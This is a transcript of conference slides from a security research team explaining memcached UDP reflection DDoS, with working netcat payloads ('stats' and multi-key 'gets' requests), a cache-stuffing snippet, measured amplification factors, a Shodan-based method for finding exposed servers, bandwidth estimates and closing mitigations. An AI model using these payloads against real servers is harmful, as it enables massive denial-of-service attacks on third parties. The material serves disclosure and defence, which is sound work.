deluge - power of community

33
How to generate 2TB/s reflection DDoS data flow via a family network Deluge

Upload: others

Post on 06-Dec-2021

12 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Deluge - Power Of Community

How to generate 2TB/s reflection DDoS data flow via a family network

Deluge

Page 2: Deluge - Power Of Community

About us

0Kee Teamhttps://0kee.360.cn/[email protected]

Page 3: Deluge - Power Of Community

Why this talk?

▪ About DRDoS

▪ DRDoS by memcache

▪ DDOS the real world

▪ Mitigation and conclusion

Page 4: Deluge - Power Of Community

About DRDOSHow it works

Common type Reflection DDoS

1

Page 5: Deluge - Power Of Community

How DRDOS works

Page 6: Deluge - Power Of Community

How to measure

▪ PPS ( packets per second )

▪ BPS ( bits per second )

▪ BPS == Amplifiers * Amplification Factor ( 1 )

Page 7: Deluge - Power Of Community

Common type Reflection DDoS

Trends of Protocols Used for Reflection

Page 8: Deluge - Power Of Community

Frequency of Protocols Used for Reflection

UDP Reflection And Amplification Attacks Types and Percentage In Recente weeks. Data from 360 Netlab.

Page 9: Deluge - Power Of Community

Common type Reflection DDoS

Measure Amplification Factor

Page 10: Deluge - Power Of Community

Common type Reflection DDoS

Page 11: Deluge - Power Of Community

Tips to Increase BPS

▪ Common UDP service

▪ The biggest reflect parameter on service

▪ Increase server to send fake UDP packet

Page 12: Deluge - Power Of Community

MemcachedAbout memcached

The risk of Memcache

Exploit Memcached with fake UDP packet

2

Page 13: Deluge - Power Of Community

About memcached and risk

General-purpose High-performance Widely used

Page 14: Deluge - Power Of Community

Which case can cause a big reflection in memcached?

python -c "print '\0\x01\0\0\0\x01\0\0stats\r\n'" |nc -nvvu 10.105.16.119 11211 > /tmp/null

(UNKOWN)[10.105.16.119] 11211 (?) open^C sent 16, rcvd 1263

1263/16=78.94

Page 15: Deluge - Power Of Community

Memcached Reflection power

Insert dataimport memcachemc = memcache.Client(['10.105.16.119:11211'],debug=True)mc.set('xah',s,90000)

Test UDP read

565600/18=31422.22

Page 16: Deluge - Power Of Community

Deep in Memcached Reflection power

Max: send 18 rcvd 81620045344

Min:send 18 rcvd 38209921227

Page 17: Deluge - Power Of Community

python -c "print '\0\x01\0\0\0\x01\0\0gets a b c d e f g h j k l m n o p q r s t w v u x y a\r\n'" |nc -nvvu 10.105.16.119 11211 >/tmp/null

tcpdump -i eth0 udp port 11211 -w mem.pcap

28295168/63=449129.65

Deep in Memcached Reflection power

Page 18: Deluge - Power Of Community

python -c "print '\0\x01\0\0\0\x01\0\0gets a a a a a a a a a a a a a a a a a a a a a a a a a a…\r\n'“

python -c "print '\0\x01\0\0\0\x01\0\0gets a a a a a a a a a a a a a a a a a a a a a a a a a b…\r\n'"

Deep in Memcached Reflection power

Page 19: Deluge - Power Of Community

Exploit

Unauthorized

Inject big cache

UDPAmplificatio

n

DistributedCooperatio

n

Page 20: Deluge - Power Of Community

DDOS the worldUnauthorized Memcached

Small scale test

3

Page 21: Deluge - Power Of Community

107,900port:11211 product:"memcached"

Shodan

Page 22: Deluge - Power Of Community

In two or three columns

ScanPort scan with default port in Memcached. 11211( TCP & UDP)

GrabBanner grab with packet to identify the unauthorized Memcached

tcpdump -vv udp port 11211

FilterFilter out the unauthorized Memcached with reflection power

Page 23: Deluge - Power Of Community

In two or three columns

ScanPort scan with default port in Memcached. 11211( TCP & UDP)

Grab

Banner grab with packet to identify the unauthorized Memcached

tcpdump -vv udp port 11211

Filter

Filter out the unauthorized Memcached with reflection power

One Vulnerable Random to DDOS 500mb/s

Page 24: Deluge - Power Of Community

Video

Page 25: Deluge - Power Of Community

1=0.5 GBit/sJust “gets z z z”

??? Gbit/sHow about use “gets z z z z z z z z z z”?

Over 50,000After simple filter(at least)

Page 26: Deluge - Power Of Community

Memcached

Location Infomation

Page 27: Deluge - Power Of Community

The bandwidth is up to amplifiers:

max < 25000 * 100m = 2500000m = 2.384 T

Make a simple calculation

Page 28: Deluge - Power Of Community

Mitigation & conclusion4

Page 29: Deluge - Power Of Community

Memcached

Authorization

Properly configured

Asn Infomation

Page 30: Deluge - Power Of Community

Memcached

Location Infomation

Page 31: Deluge - Power Of Community

Memcached

Authorization

Properly configured

Page 32: Deluge - Power Of Community

Network Mitigation Measures

Firewall udp 11211

ISP never allow IP spoofing bcp38

Rate Limit inbound UDP source port 11211 traffic

Isolation ACL

Page 33: Deluge - Power Of Community

THANKS!

Any questions?You can find us at [email protected]